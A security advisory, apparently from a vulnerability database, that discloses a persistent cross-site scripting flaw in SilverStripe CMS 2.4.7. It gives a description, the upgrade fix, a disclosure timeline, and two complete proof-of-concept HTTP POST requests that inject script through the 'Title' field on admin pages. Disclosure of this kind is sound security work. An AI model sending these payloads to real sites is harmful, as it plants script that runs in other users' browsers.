Lucene search
K

SilverStripe 2.4.7 Cross Site Scripting

🗓️ 15 Oct 2012 00:00:00Reported by Aung KhantType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

SilverStripe 2.4.7 Persistent Cross Site Scripting vulnerabilit

Code
`1. OVERVIEW  
  
SilverStripe 2.4.7 and lower versions are vulnerable to Persistent  
Cross Site Scripting.  
  
  
2. BACKGROUND  
  
SilverStripe CMS is easy for both developers and content authors to  
work with. The SilverStripe Framework keeps the code tucked away  
neatly so that it can be accessed easily by programmers but does not  
get in the way of content authors.  
  
  
3. VULNERABILITY DESCRIPTION  
  
The "Title" parameter was not properly sanitized upon submission to  
"/index.php/admin/security/EditForm/field/Roles/AddForm" and  
"/index.php/admin/RootForm" urls, which allows attacker to conduct  
Cross Site Scripting attack. This may allow an attacker to create a  
specially crafted URL that would execute arbitrary script code in a  
victim's browser.  
  
  
4. VERSIONS AFFECTED  
  
Tested on 2.4.7  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
////////////////////////////////////////  
POST /index.php/admin/security/EditForm/field/Roles/AddForm?SecurityID=[ID]  
HTTP/1.1  
Host: localhost  
Referer: http://localhost/index.php/admin/security/EditForm/field/Roles/add?SecurityID=[ID]  
Cookie: PHPSESSID=1e4ea938f83b04bc826231987cedc050;  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 146  
  
Title=%27%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&ctf%5BClassName%5D=PermissionRole&SecurityID=[ID]&action_saveComplexTableField=Save  
  
  
POST /index.php/admin/RootForm HTTP/1.1  
Host: localhost  
Proxy-Connection: keep-alive  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.4.0_rc3  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Referer: http://localhost/index.php/admin/  
Content-Length: 256  
Cookie: PHPSESSID=25c8f4060c398d05732fe494eb3ad4f1;  
Pragma: no-cache  
Cache-Control: no-cache  
  
Title='%22%3E%3Cscript%3Ealert(%2Fxss1%2F)%3C%2Fscript%3E&Tagline=test&CanViewType=Anyone&ViewerGroups=&CanEditType=LoggedInUsers&EditorGroups=&CanCreateTopLevelType=LoggedInUsers&CreateTopLevelGroups=&SecurityID=[ID]&Theme=&ajax=0&action_save_siteconfig=1  
////////////////////////////////////////  
  
  
6. SOLUTION  
  
Upgrade to the latest 3.x version.  
  
  
7. VENDOR  
  
SilverStripe Development Team  
http://www.silverstripe.org/  
  
  
8. CREDIT  
  
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN  
Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2012-02-06: notified vendor  
2012-10-15: vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/%5BSilverStripe_2.4.7%5D_xss  
  
  
#yehg [2012-10-15]  
  
---------------------------------  
Best regards,  
YGN Ethical Hacker Group  
Yangon, Myanmar  
http://yehg.net  
Our Lab | http://yehg.net/lab  
Our Directory | http://yehg.net/hwd  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation